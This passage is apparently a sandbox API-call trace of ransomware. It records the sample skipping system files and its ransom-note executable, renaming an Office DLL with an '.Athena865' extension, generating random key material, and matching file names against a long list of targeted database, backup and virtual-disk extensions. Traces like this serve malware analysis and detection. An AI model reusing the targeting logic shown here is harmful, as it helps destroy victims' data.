ftLastAccessTime.dwLowDateTime=0xd24d9e80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2149b700, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb0578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CMAX20.DLL", cAlternateFileName="")) returned 1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2=".") returned 1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="..") returned 1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="windows") returned -1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="bootmgr") returned 1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="temp") returned -1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="pagefile.sys") returned -1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="boot") returned 1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="ids.txt") returned -1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="ntuser.dat") returned -1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="perflogs") returned -1 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2="MSBuild") returned -1 [0068.713] lstrlenW (lpString="CMAX20.DLL") returned 10 [0068.713] lstrcpyW (in: lpString1=0x241e89e, lpString2="CMAX20.DLL" | out: lpString1="CMAX20.DLL") returned="CMAX20.DLL" [0068.713] lstrlenW (lpString="CMAX20.DLL") returned 10 [0068.713] lstrlenW (lpString="Athena865") returned 9 [0068.713] lstrcmpiW (lpString1="MAX20.DLL", lpString2="Athena865") returned 1 [0068.713] lstrlenW (lpString=".dll") returned 4 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2=".dll") returned 1 [0068.713] lstrlenW (lpString=".lnk") returned 4 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2=".lnk") returned 1 [0068.713] lstrlenW (lpString=".ini") returned 4 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2=".ini") returned 1 [0068.713] lstrlenW (lpString=".sys") returned 4 [0068.713] lstrcmpiW (lpString1="CMAX20.DLL", lpString2=".sys") returned 1 [0068.714] lstrlenW (lpString="CMAX20.DLL") returned 10 [0068.714] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL.Athena865") returned 63 [0068.714] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll.athena865"), dwFlags=0x1) returned 1 [0068.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.728] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=722296) returned 1 [0068.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.728] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.729] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.729] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.729] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb0880, lpName=0x0) returned 0x154 [0068.731] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb0880) returned 0x2d50000 [0068.772] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.772] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.772] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.773] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0068.779] CloseHandle (hObject=0x154) returned 1 [0068.779] CloseHandle (hObject=0x17c) returned 1 [0068.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.784] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x37160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2=".") returned 1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="..") returned 1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="windows") returned -1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="bootmgr") returned 1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="temp") returned -1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="pagefile.sys") returned -1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="boot") returned 1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="ids.txt") returned -1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="ntuser.dat") returned -1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="perflogs") returned -1 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2="MSBuild") returned -1 [0068.784] lstrlenW (lpString="CNFNOT32.EXE") returned 12 [0068.784] lstrcpyW (in: lpString1=0x241e89e, lpString2="CNFNOT32.EXE" | out: lpString1="CNFNOT32.EXE") returned="CNFNOT32.EXE" [0068.784] lstrlenW (lpString="CNFNOT32.EXE") returned 12 [0068.784] lstrlenW (lpString="Athena865") returned 9 [0068.784] lstrcmpiW (lpString1="NOT32.EXE", lpString2="Athena865") returned 1 [0068.784] lstrlenW (lpString=".dll") returned 4 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2=".dll") returned 1 [0068.784] lstrlenW (lpString=".lnk") returned 4 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2=".lnk") returned 1 [0068.784] lstrlenW (lpString=".ini") returned 4 [0068.784] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2=".ini") returned 1 [0068.784] lstrlenW (lpString=".sys") returned 4 [0068.785] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2=".sys") returned 1 [0068.785] lstrlenW (lpString="CNFNOT32.EXE") returned 12 [0068.785] lstrlenW (lpString="bak") returned 3 [0068.785] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0068.785] lstrlenW (lpString="ba_") returned 3 [0068.785] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0068.785] lstrlenW (lpString="dbb") returned 3 [0068.785] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0068.785] lstrlenW (lpString="vmdk") returned 4 [0068.785] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0068.785] lstrlenW (lpString="rar") returned 3 [0068.785] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0068.785] lstrlenW (lpString="zip") returned 3 [0068.785] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0068.785] lstrlenW (lpString="tgz") returned 3 [0068.785] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0068.785] lstrlenW (lpString="vbox") returned 4 [0068.785] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0068.785] lstrlenW (lpString="vdi") returned 3 [0068.785] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0068.785] lstrlenW (lpString="vhd") returned 3 [0068.785] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0068.785] lstrlenW (lpString="vhdx") returned 4 [0068.785] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0068.785] lstrlenW (lpString="avhd") returned 4 [0068.785] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0068.785] lstrlenW (lpString="db") returned 2 [0068.785] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0068.785] lstrlenW (lpString="db2") returned 3 [0068.785] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0068.785] lstrlenW (lpString="db3") returned 3 [0068.785] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0068.785] lstrlenW (lpString="dbf") returned 3 [0068.786] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0068.786] lstrlenW (lpString="mdf") returned 3 [0068.786] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0068.786] lstrlenW (lpString="mdb") returned 3 [0068.786] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0068.786] lstrlenW (lpString="sql") returned 3 [0068.786] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0068.786] lstrlenW (lpString="sqlite") returned 6 [0068.786] lstrcmpiW (lpString1="32.EXE", lpString2="sqlite") returned -1 [0068.786] lstrlenW (lpString="sqlite3") returned 7 [0068.786] lstrcmpiW (lpString1="T32.EXE", lpString2="sqlite3") returned 1 [0068.786] lstrlenW (lpString="sqlitedb") returned 8 [0068.786] lstrcmpiW (lpString1="OT32.EXE", lpString2="sqlitedb") returned -1 [0068.786] lstrlenW (lpString="xml") returned 3 [0068.786] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0068.786] lstrlenW (lpString="$er") returned 3 [0068.786] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0068.786] lstrlenW (lpString="4dd") returned 3 [0068.786] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0068.786] lstrlenW (lpString="4dl") returned 3 [0068.786] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0068.786] lstrlenW (lpString="^^^") returned 3 [0068.786] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0068.786] lstrlenW (lpString="abs") returned 3 [0068.786] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0068.786] lstrlenW (lpString="abx") returned 3 [0068.786] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0068.786] lstrlenW (lpString="accdb") returned 5 [0068.786] lstrcmpiW (lpString1="2.EXE", lpString2="accdb") returned -1 [0068.786] lstrlenW (lpString="accdc") returned 5 [0068.786] lstrcmpiW (lpString1="2.EXE", lpString2="accdc") returned -1 [0068.786] lstrlenW (lpString="accde") returned 5 [0068.786] lstrcmpiW (lpString1="2.EXE", lpString2="accde") returned -1 [0068.786] lstrlenW (lpString="accdr") returned 5 [0068.787] lstrcmpiW (lpString1="2.EXE", lpString2="accdr") returned -1 [0068.787] lstrlenW (lpString="accdt") returned 5 [0068.787] lstrcmpiW (lpString1="2.EXE", lpString2="accdt") returned -1 [0068.787] lstrlenW (lpString="accdw") returned 5 [0068.787] lstrcmpiW (lpString1="2.EXE", lpString2="accdw") returned -1 [0068.787] lstrlenW (lpString="accft") returned 5 [0068.787] lstrcmpiW (lpString1="2.EXE", lpString2="accft") returned -1 [0068.787] lstrlenW (lpString="adb") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0068.787] lstrlenW (lpString="adb") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0068.787] lstrlenW (lpString="ade") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0068.787] lstrlenW (lpString="adf") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0068.787] lstrlenW (lpString="adn") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0068.787] lstrlenW (lpString="adp") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0068.787] lstrlenW (lpString="alf") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0068.787] lstrlenW (lpString="ask") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0068.787] lstrlenW (lpString="btr") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0068.787] lstrlenW (lpString="cat") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0068.787] lstrlenW (lpString="cdb") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0068.787] lstrlenW (lpString="ckp") returned 3 [0068.787] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0068.787] lstrlenW (lpString="cma") returned 3 [0068.788] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0068.788] lstrlenW (lpString="cpd") returned 3 [0068.788] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0068.788] lstrlenW (lpString="dacpac") returned 6 [0068.788] lstrcmpiW (lpString1="32.EXE", lpString2="dacpac") returned -1 [0068.788] lstrlenW (lpString="dad") returned 3 [0068.788] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0068.788] lstrlenW (lpString="dadiagrams") returned 10 [0068.788] lstrcmpiW (lpString1="FNOT32.EXE", lpString2="dadiagrams") returned 1 [0068.788] lstrlenW (lpString="daschema") returned 8 [0068.788] lstrcmpiW (lpString1="OT32.EXE", lpString2="daschema") returned 1 [0068.788] lstrlenW (lpString="db-journal") returned 10 [0068.788] lstrcmpiW (lpString1="FNOT32.EXE", lpString2="db-journal") returned 1 [0068.788] lstrlenW (lpString="db-shm") returned 6 [0068.788] lstrcmpiW (lpString1="32.EXE", lpString2="db-shm") returned -1 [0068.788] lstrlenW (lpString="db-wal") returned 6 [0068.788] lstrcmpiW (lpString1="32.EXE", lpString2="db-wal") returned -1 [0068.788] lstrlenW (lpString="dbc") returned 3 [0068.788] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0068.788] lstrlenW (lpString="dbs") returned 3 [0068.788] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0068.788] lstrlenW (lpString="dbt") returned 3 [0068.788] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0068.788] lstrlenW (lpString="dbv") returned 3 [0068.788] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0068.788] lstrlenW (lpString="dbx") returned 3 [0068.788] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0068.788] lstrlenW (lpString="dcb") returned 3 [0068.788] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0068.788] lstrlenW (lpString="dct") returned 3 [0068.788] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0068.788] lstrlenW (lpString="dcx") returned 3 [0068.788] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0068.789] lstrlenW (lpString="ddl") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0068.789] lstrlenW (lpString="dlis") returned 4 [0068.789] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0068.789] lstrlenW (lpString="dp1") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0068.789] lstrlenW (lpString="dqy") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0068.789] lstrlenW (lpString="dsk") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0068.789] lstrlenW (lpString="dsn") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0068.789] lstrlenW (lpString="dtsx") returned 4 [0068.789] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0068.789] lstrlenW (lpString="dxl") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0068.789] lstrlenW (lpString="eco") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0068.789] lstrlenW (lpString="ecx") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0068.789] lstrlenW (lpString="edb") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0068.789] lstrlenW (lpString="epim") returned 4 [0068.789] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0068.789] lstrlenW (lpString="fcd") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0068.789] lstrlenW (lpString="fdb") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0068.789] lstrlenW (lpString="fic") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0068.789] lstrlenW (lpString="flexolibrary") returned 12 [0068.789] lstrlenW (lpString="fm5") returned 3 [0068.789] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0068.789] lstrlenW (lpString="fmp") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0068.790] lstrlenW (lpString="fmp12") returned 5 [0068.790] lstrcmpiW (lpString1="2.EXE", lpString2="fmp12") returned -1 [0068.790] lstrlenW (lpString="fmpsl") returned 5 [0068.790] lstrcmpiW (lpString1="2.EXE", lpString2="fmpsl") returned -1 [0068.790] lstrlenW (lpString="fol") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0068.790] lstrlenW (lpString="fp3") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0068.790] lstrlenW (lpString="fp4") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0068.790] lstrlenW (lpString="fp5") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0068.790] lstrlenW (lpString="fp7") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0068.790] lstrlenW (lpString="fpt") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0068.790] lstrlenW (lpString="frm") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0068.790] lstrlenW (lpString="gdb") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0068.790] lstrlenW (lpString="gdb") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0068.790] lstrlenW (lpString="grdb") returned 4 [0068.790] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0068.790] lstrlenW (lpString="gwi") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0068.790] lstrlenW (lpString="hdb") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0068.790] lstrlenW (lpString="his") returned 3 [0068.790] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0068.790] lstrlenW (lpString="ib") returned 2 [0068.790] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0068.791] lstrlenW (lpString="idb") returned 3 [0068.791] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0068.791] lstrlenW (lpString="ihx") returned 3 [0068.791] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0068.791] lstrlenW (lpString="itdb") returned 4 [0068.791] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0068.791] lstrlenW (lpString="itw") returned 3 [0068.791] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0068.791] lstrlenW (lpString="jet") returned 3 [0068.791] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0068.791] lstrlenW (lpString="jtx") returned 3 [0068.791] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0068.791] lstrlenW (lpString="kdb") returned 3 [0068.791] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0068.791] lstrlenW (lpString="kexi") returned 4 [0068.791] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0068.791] lstrlenW (lpString="kexic") returned 5 [0068.791] lstrcmpiW (lpString1="2.EXE", lpString2="kexic") returned -1 [0068.791] lstrlenW (lpString="kexis") returned 5 [0068.791] lstrcmpiW (lpString1="2.EXE", lpString2="kexis") returned -1 [0068.791] lstrlenW (lpString="lgc") returned 3 [0068.791] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0068.791] lstrlenW (lpString="lwx") returned 3 [0068.791] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0068.791] lstrlenW (lpString="maf") returned 3 [0068.791] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0068.791] lstrlenW (lpString="maq") returned 3 [0068.791] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0068.791] lstrlenW (lpString="mar") returned 3 [0068.791] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0068.791] lstrlenW (lpString="marshal") returned 7 [0068.791] lstrcmpiW (lpString1="T32.EXE", lpString2="marshal") returned 1 [0068.791] lstrlenW (lpString="mas") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0068.792] lstrlenW (lpString="mav") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0068.792] lstrlenW (lpString="maw") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0068.792] lstrlenW (lpString="mdbhtml") returned 7 [0068.792] lstrcmpiW (lpString1="T32.EXE", lpString2="mdbhtml") returned 1 [0068.792] lstrlenW (lpString="mdn") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0068.792] lstrlenW (lpString="mdt") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0068.792] lstrlenW (lpString="mfd") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0068.792] lstrlenW (lpString="mpd") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0068.792] lstrlenW (lpString="mrg") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0068.792] lstrlenW (lpString="mud") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0068.792] lstrlenW (lpString="mwb") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0068.792] lstrlenW (lpString="myd") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0068.792] lstrlenW (lpString="ndf") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0068.792] lstrlenW (lpString="nnt") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0068.792] lstrlenW (lpString="nrmlib") returned 6 [0068.792] lstrcmpiW (lpString1="32.EXE", lpString2="nrmlib") returned -1 [0068.792] lstrlenW (lpString="ns2") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0068.792] lstrlenW (lpString="ns3") returned 3 [0068.792] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0068.793] lstrlenW (lpString="ns4") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0068.793] lstrlenW (lpString="nsf") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0068.793] lstrlenW (lpString="nv") returned 2 [0068.793] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0068.793] lstrlenW (lpString="nv2") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0068.793] lstrlenW (lpString="nwdb") returned 4 [0068.793] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0068.793] lstrlenW (lpString="nyf") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0068.793] lstrlenW (lpString="odb") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0068.793] lstrlenW (lpString="odb") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0068.793] lstrlenW (lpString="oqy") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0068.793] lstrlenW (lpString="ora") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0068.793] lstrlenW (lpString="orx") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0068.793] lstrlenW (lpString="owc") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0068.793] lstrlenW (lpString="p96") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0068.793] lstrlenW (lpString="p97") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0068.793] lstrlenW (lpString="pan") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0068.793] lstrlenW (lpString="pdb") returned 3 [0068.793] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0068.793] lstrlenW (lpString="pdm") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0068.794] lstrlenW (lpString="pnz") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0068.794] lstrlenW (lpString="qry") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0068.794] lstrlenW (lpString="qvd") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0068.794] lstrlenW (lpString="rbf") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0068.794] lstrlenW (lpString="rctd") returned 4 [0068.794] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0068.794] lstrlenW (lpString="rod") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0068.794] lstrlenW (lpString="rodx") returned 4 [0068.794] lstrcmpiW (lpString1=".EXE", lpString2="rodx") 